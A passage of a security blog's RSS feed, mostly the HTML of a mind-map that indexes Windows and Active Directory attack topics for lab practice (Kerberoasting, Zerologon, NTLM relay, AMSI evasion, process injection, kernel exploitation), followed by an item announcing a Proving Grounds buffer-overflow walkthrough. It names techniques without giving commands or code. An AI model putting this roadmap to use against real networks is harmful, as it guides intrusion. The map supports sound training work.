chain</div></div></div></div><div class="node_UsvS" style="left:5640px;top:800px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">PrinterBug / SpoolSample</div><div class="nodeSub_aDGv">Coercer chain</div></div></div></div><div class="node_UsvS" style="left:5640px;top:975px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">DFSCoerce / Shadow Coerce</div><div class="nodeSub_aDGv">Coercer chain</div></div></div></div><div class="node_UsvS" style="left:5640px;top:1150px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Coercer (multi-method)</div><div class="nodeSub_aDGv">Coercer chain</div></div></div></div><div class="node_UsvS" style="left:6240px;top:6575px;--node-accent:#d2a8ff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Pool overflow</div><div class="nodeSub_aDGv">Binary Exploit Development</div></div></div></div><div class="node_UsvS" style="left:6840px;top:6400px;--node-accent:#d2a8ff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">User-mode pool overflow</div><div class="nodeSub_aDGv">Pool overflow</div></div></div></div><div class="node_UsvS" style="left:6840px;top:6575px;--node-accent:#d2a8ff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Kernel pool overflow</div><div class="nodeSub_aDGv">Pool overflow</div></div></div></div><div class="node_UsvS" style="left:6840px;top:6750px;--node-accent:#d2a8ff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Pool grooming (feng shui)</div><div class="nodeSub_aDGv">Pool overflow</div></div></div></div><div class="node_UsvS" style="left:4440px;top:9900px;--node-accent:#f0b429"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">hashcat / john (Windows hashes)</div><div class="nodeSub_aDGv">Password Attacks</div></div></div></div><div class="node_UsvS" style="left:11320px;top:1440px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Recon (by tool)</div><div class="nodeSub_aDGv">Branch — start here</div></div></div></div><div class="node_UsvS" style="left:8780px;top:6855px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Nmap</div><div class="nodeSub_aDGv">Recon (by tool)</div></div></div></div><div class="node_UsvS" style="left:11920px;top:100px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">RustScan</div><div class="nodeSub_aDGv">Recon (by tool)</div></div></div></div><div class="node_UsvS" style="left:11920px;top:275px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Masscan</div><div class="nodeSub_aDGv">Recon (by tool)</div></div></div></div><div class="node_UsvS" style="left:11920px;top:450px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">AutoRecon</div><div class="nodeSub_aDGv">Recon (by tool)</div></div></div></div><div class="node_UsvS" style="left:11920px;top:625px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">NetExec (nxc)</div><div class="nodeSub_aDGv">Recon (by tool)</div></div></div></div><div class="node_UsvS" style="left:11920px;top:800px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">ldapsearch</div><div class="nodeSub_aDGv">Recon (by tool)</div></div></div></div><div class="node_UsvS" style="left:11920px;top:975px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">windapsearch</div><div class="nodeSub_aDGv">Recon (by tool)</div></div></div></div><div class="node_UsvS" style="left:11920px;top:1150px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">rpcclient</div><div class="nodeSub_aDGv">Recon (by tool)</div></div></div></div><div class="node_UsvS" style="left:11920px;top:1325px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">smbmap / smbclient</div><div class="nodeSub_aDGv">Recon (by tool)</div></div></div></div><div class="node_UsvS" style="left:11920px;top:1500px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">enum4linux-ng</div><div class="nodeSub_aDGv">Recon (by tool)</div></div></div></div><div class="node_UsvS" style="left:11920px;top:1675px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">PowerView</div><div class="nodeSub_aDGv">Recon (by tool)</div></div></div></div><div class="node_UsvS" style="left:11920px;top:1850px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Impacket enum</div><div class="nodeSub_aDGv">Recon (by tool)</div></div></div></div><div class="node_UsvS" style="left:11920px;top:2025px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">ADRecon</div><div class="nodeSub_aDGv">Recon (by tool)</div></div></div></div><div class="node_UsvS" style="left:11920px;top:2200px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">PingCastle</div><div class="nodeSub_aDGv">Recon (by tool)</div></div></div></div><div class="node_UsvS" style="left:5040px;top:7100px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">AD ACL / ACE abuse</div><div class="nodeSub_aDGv">ired.team</div></div></div></div><div class="node_UsvS" style="left:5040px;top:7275px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">DnsAdmins → SYSTEM</div><div class="nodeSub_aDGv">ired.team</div></div></div></div><div class="node_UsvS" style="left:5040px;top:7450px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">AdminSDHolder backdoor</div><div class="nodeSub_aDGv">ired.team</div></div></div></div><div class="node_UsvS" style="left:5040px;top:7625px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">noPac / SamAccountName</div><div class="nodeSub_aDGv">CVE-2021-42278/42287</div></div></div></div><div class="node_UsvS" style="left:5040px;top:7800px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Zerologon</div><div class="nodeSub_aDGv">CVE-2020-1472</div></div></div></div><div class="node_UsvS" style="left:5040px;top:7975px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Parent/Child trust EA</div><div class="nodeSub_aDGv">ired.team</div></div></div></div><div class="node_UsvS" style="left:5640px;top:1325px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">PrinterBug coerce</div><div class="nodeSub_aDGv">MS-RPRN</div></div></div></div><div class="node_UsvS" style="left:8180px;top:5490px;--node-accent:#2ec4b6"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Ports → vuln map</div><div class="nodeSub_aDGv">Branch — AD / Windows services</div></div></div></div><div class="node_UsvS" style="left:8780px;top:4965px;--node-accent:#2ec4b6"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Port 445 — SMB</div><div class="nodeSub_aDGv">Ports → vuln map</div></div></div></div><div class="node_UsvS" style="left:8780px;top:5140px;--node-accent:#2ec4b6"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Port 5985 — WinRM</div><div class="nodeSub_aDGv">Ports → vuln map</div></div></div></div><div class="node_UsvS" style="left:8780px;top:5315px;--node-accent:#2ec4b6"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Port 3389 — RDP</div><div class="nodeSub_aDGv">Ports → vuln map</div></div></div></div><div class="node_UsvS" style="left:8780px;top:5490px;--node-accent:#2ec4b6"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Port 88 — Kerberos</div><div class="nodeSub_aDGv">Ports → vuln map</div></div></div></div><div class="node_UsvS" style="left:8780px;top:5665px;--node-accent:#2ec4b6"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Port 389 — LDAP</div><div class="nodeSub_aDGv">Ports → vuln map</div></div></div></div><div class="node_UsvS" style="left:8780px;top:5840px;--node-accent:#2ec4b6"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Port 80/443 — IIS / HTTP</div><div class="nodeSub_aDGv">Ports → vuln map</div></div></div></div><div class="node_UsvS" style="left:8780px;top:6015px;--node-accent:#2ec4b6"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Port 1433 — MSSQL</div><div class="nodeSub_aDGv">Ports → vuln map</div></div></div></div><div class="node_UsvS" style="left:11920px;top:2463px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Responder</div><div class="nodeSub_aDGv">Recon (by tool)</div></div></div></div><div class="node_UsvS" style="left:11920px;top:2725px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">BloodHound / SharpHound</div><div class="nodeSub_aDGv">Recon (by tool)</div></div></div></div><div class="node_UsvS" style="left:11920px;top:2900px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Kerbrute</div><div class="nodeSub_aDGv">Recon (by tool)</div></div></div></div><div class="node_UsvS" style="left:700px;top:5131px;--node-accent:#f0b429"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Lab runbooks (Windows)</div><div class="nodeSub_aDGv">Step-by-step workflows</div></div></div></div><div class="node_UsvS" style="left:1300px;top:1413px;--node-accent:#3ecf7a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Box methodology</div><div class="nodeSub_aDGv">Lab runbooks (Windows)</div></div></div></div><div class="node_UsvS" style="left:1300px;top:3688px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Advanced Windows ops</div><div class="nodeSub_aDGv">runbooks (Windows)</div></div></div></div><div class="node_UsvS" style="left:1300px;top:4738px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Windows BOF development track</div><div class="nodeSub_aDGv">runbooks (Windows)</div></div></div></div><div class="node_UsvS" style="left:1300px;top:5613px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Kernel &amp; advanced exploit track</div><div class="nodeSub_aDGv">runbooks (Windows)</div></div></div></div><div class="node_UsvS" style="left:1900px;top:100px;--node-accent:#3ecf7a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Environment setup</div><div class="nodeSub_aDGv">Box methodology</div></div></div></div><div class="node_UsvS" style="left:1900px;top:275px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Recon</div><div class="nodeSub_aDGv">Box methodology</div></div></div></div><div class="node_UsvS" style="left:1900px;top:450px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Foothold</div><div class="nodeSub_aDGv">Box methodology</div></div></div></div><div class="node_UsvS" style="left:1900px;top:625px;--node-accent:#3ecf7a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Stabilize shell</div><div class="nodeSub_aDGv">Box methodology</div></div></div></div><div class="node_UsvS" style="left:1900px;top:800px;--node-accent:#ff5c9a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Windows privesc</div><div class="nodeSub_aDGv">Box methodology</div></div></div></div><div class="node_UsvS" style="left:1900px;top:1763px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">AD environment</div><div class="nodeSub_aDGv">Box methodology</div></div></div></div><div class="node_UsvS" style="left:1900px;top:2725px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Buffer overflow box</div><div class="nodeSub_aDGv">Box methodology</div></div></div></div><div class="node_UsvS" style="left:1900px;top:2900px;--node-accent:#3ecf7a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Proof &amp; handoff</div><div class="nodeSub_aDGv">Box methodology</div></div></div></div><div class="node_UsvS" style="left:1900px;top:3250px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Client-side initial access</div><div class="nodeSub_aDGv">Advanced Windows ops</div></div></div></div><div class="node_UsvS" style="left:1900px;top:3425px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">AV / AMSI / ETW / AppLocker</div><div class="nodeSub_aDGv">Advanced Windows ops</div></div></div></div><div class="node_UsvS" style="left:1900px;top:3600px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Process injection</div><div class="nodeSub_aDGv">Advanced Windows ops</div></div></div></div><div class="node_UsvS" style="left:1900px;top:3775px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">C2 operations</div><div class="nodeSub_aDGv">Advanced Windows ops</div></div></div></div><div class="node_UsvS" style="left:1900px;top:3950px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Advanced AD attack chains</div><div class="nodeSub_aDGv">Advanced Windows ops</div></div></div></div><div class="node_UsvS" style="left:1900px;top:4125px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Lateral movement (ops)</div><div class="nodeSub_aDGv">Advanced Windows ops</div></div></div></div><div class="node_UsvS" style="left:12520px;top:4090px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">PS credential encrypt/decrypt</div><div class="nodeSub_aDGv">Advanced Windows ops / batch automation</div></div></div></div><div class="node_UsvS" style="left:1900px;top:4300px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Static RE (pre-fuzz)</div><div class="nodeSub_aDGv">Windows BOF development track</div></div></div></div><div class="node_UsvS" style="left:1900px;top:4475px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Fuzz to crash</div><div class="nodeSub_aDGv">Windows BOF development track</div></div></div></div><div class="node_UsvS" style="left:1900px;top:4650px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Stack overflow path</div><div class="nodeSub_aDGv">Windows BOF development track</div></div></div></div><div class="node_UsvS" style="left:1900px;top:4825px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">SEH overflow path</div><div class="nodeSub_aDGv">Windows BOF development track</div></div></div></div><div class="node_UsvS" style="left:1900px;top:5000px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">DEP / ROP path</div><div class="nodeSub_aDGv">Windows BOF development track</div></div></div></div><div class="node_UsvS" style="left:1900px;top:5350px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Driver RE &amp; IOCTL map</div><div class="nodeSub_aDGv">Kernel &amp; advanced exploit track</div></div></div></div><div class="node_UsvS" style="left:1900px;top:5525px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Kernel debugging setup</div><div class="nodeSub_aDGv">Kernel &amp; advanced exploit track</div></div></div></div><div class="node_UsvS" style="left:1900px;top:5700px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Pool / heap exploitation</div><div class="nodeSub_aDGv">Kernel &amp; advanced exploit track</div></div></div></div><div class="node_UsvS" style="left:1900px;top:5875px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Fuzzing at scale</div><div class="nodeSub_aDGv">Kernel &amp; advanced exploit track</div></div></div></div><div class="node_UsvS" style="left:1900px;top:3075px;--node-accent:#f0b429"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Windows tool index</div><div class="nodeSub_aDGv">Box methodology</div></div></div></div><div class="node_UsvS" style="left:2500px;top:975px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">AD 1 — Domain enum (no creds)</div><div class="nodeSub_aDGv">AD environment</div></div></div></div><div class="node_UsvS" style="left:2500px;top:1150px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">AD 2 — AS-REP roasting</div><div class="nodeSub_aDGv">AD environment</div></div></div></div><div class="node_UsvS" style="left:2500px;top:1325px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">AD 3 — Password spray (safe)</div><div class="nodeSub_aDGv">AD environment</div></div></div></div><div class="node_UsvS" style="left:2500px;top:1500px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">AD 4 — BloodHound path</div><div class="nodeSub_aDGv">AD environment</div></div></div></div><div class="node_UsvS" style="left:2500px;top:1675px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">AD 5 — Kerberoasting</div><div class="nodeSub_aDGv">AD environment</div></div></div></div><div class="node_UsvS" style="left:2500px;top:1850px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">AD 6 — ACL abuse</div><div class="nodeSub_aDGv">AD environment</div></div></div></div><div class="node_UsvS" style="left:2500px;top:2025px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">AD 7 — Lateral movement</div><div class="nodeSub_aDGv">AD environment</div></div></div></div><div class="node_UsvS" style="left:2500px;top:2200px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">AD 8 — High-value targets</div><div class="nodeSub_aDGv">AD environment</div></div></div></div><div class="node_UsvS" style="left:2500px;top:2375px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">AD 9 — DCSync / DA proof</div><div class="nodeSub_aDGv">AD environment</div></div></div></div><div class="node_UsvS" style="left:2500px;top:2550px;--node-accent:#3ecf7a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">AD 10 — Finish AD set</div><div class="nodeSub_aDGv">AD environment</div></div></div></div><div class="node_UsvS" style="left:1900px;top:5175px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">mona.py command reference</div><div class="nodeSub_aDGv">Buffer overflow box</div></div></div></div><div class="node_UsvS" style="left:1300px;top:7013px;--node-accent:#f0b429"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Lab tools (Windows track)</div><div class="nodeSub_aDGv">Copy-paste cheat sheets</div></div></div></div><div class="node_UsvS" style="left:1300px;top:8150px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Stuck? Decision tree</div><div class="nodeSub_aDGv">Box methodology</div></div></div></div><div class="node_UsvS" style="left:1900px;top:6050px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Hydra (Windows services)</div><div class="nodeSub_aDGv">tools (Windows track)</div></div></div></div><div class="node_UsvS" style="left:1900px;top:6225px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Chisel (pivot / tunnel)</div><div class="nodeSub_aDGv">tools (Windows track)</div></div></div></div><div class="node_UsvS" style="left:1900px;top:6400px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Proxychains</div><div class="nodeSub_aDGv">tools (Windows track)</div></div></div></div><div class="node_UsvS" style="left:1900px;top:6575px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Searchsploit</div><div class="nodeSub_aDGv">tools (Windows track)</div></div></div></div><div class="node_UsvS" style="left:1900px;top:6750px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Metasploit quick reference</div><div class="nodeSub_aDGv">tools (Windows track)</div></div></div></div><div class="node_UsvS" style="left:1900px;top:6925px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Impacket secretsdump</div><div class="nodeSub_aDGv">tools (Windows track)</div></div></div></div><div class="node_UsvS" style="left:1900px;top:7100px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">xfreerdp</div><div class="nodeSub_aDGv">tools (Windows track)</div></div></div></div><div class="node_UsvS" style="left:1900px;top:7275px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">SNMPwalk</div><div class="nodeSub_aDGv">tools (Windows track)</div></div></div></div><div class="node_UsvS" style="left:1900px;top:7450px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Netcat listener</div><div class="nodeSub_aDGv">tools (Windows track)</div></div></div></div><div class="node_UsvS" style="left:1900px;top:7625px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Certutil / file transfer</div><div class="nodeSub_aDGv">tools (Windows track)</div></div></div></div><div class="node_UsvS" style="left:1900px;top:7800px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Impacket psexec / wmiexec</div><div class="nodeSub_aDGv">tools (Windows track)</div></div></div></div><div class="node_UsvS" style="left:1900px;top:7975px;--node-accent:#f0b429"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Hashcat mode reference</div><div class="nodeSub_aDGv">tools (Windows track)</div></div></div></div><div class="node_UsvS" style="left:5640px;top:450px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Responder + ntlmrelayx (full chain)</div><div class="nodeSub_aDGv">tools (Windows track)</div></div></div></div><div class="node_UsvS" style="left:8180px;top:8273px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Exploit Development Labs</div><div class="nodeSub_aDGv">Windows pathfinder</div></div></div></div><div class="node_UsvS" style="left:8780px;top:8010px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Stack overflow (Windows)</div><div class="nodeSub_aDGv">Exploit Development Labs</div></div></div></div><div class="node_UsvS" style="left:8780px;top:8185px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Heap / pool (Windows)</div><div class="nodeSub_aDGv">Exploit Development Labs</div></div></div></div><div class="node_UsvS" style="left:8780px;top:8360px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Kernel / driver / rootkit</div><div class="nodeSub_aDGv">Exploit Development Labs</div></div></div></div><div class="node_UsvS" style="left:8780px;top:8535px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Exploitation framework</div><div class="nodeSub_aDGv">Exploit Development Labs</div></div></div></div></div></div></div></div>]]></content:encoded>
            <category>General</category>
            <category>Map</category>
            <category>Active Directory</category>
        </item>
        <item>
            <title><![CDATA[OffSec Proving Grounds Osaka — FTP Buffer Overflow & psgetsys]]></title>
            <link>https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys</link>
            <guid>https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys</guid>
            <pubDate>Sun, 13 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[OffSec Proving Grounds Osaka walkthrough — custom FTP stack buffer overflow with WinDbg and Mona, ROP VirtualProtect, then SeDebugPrivilege psgetsys to admin RDP.]]></description>
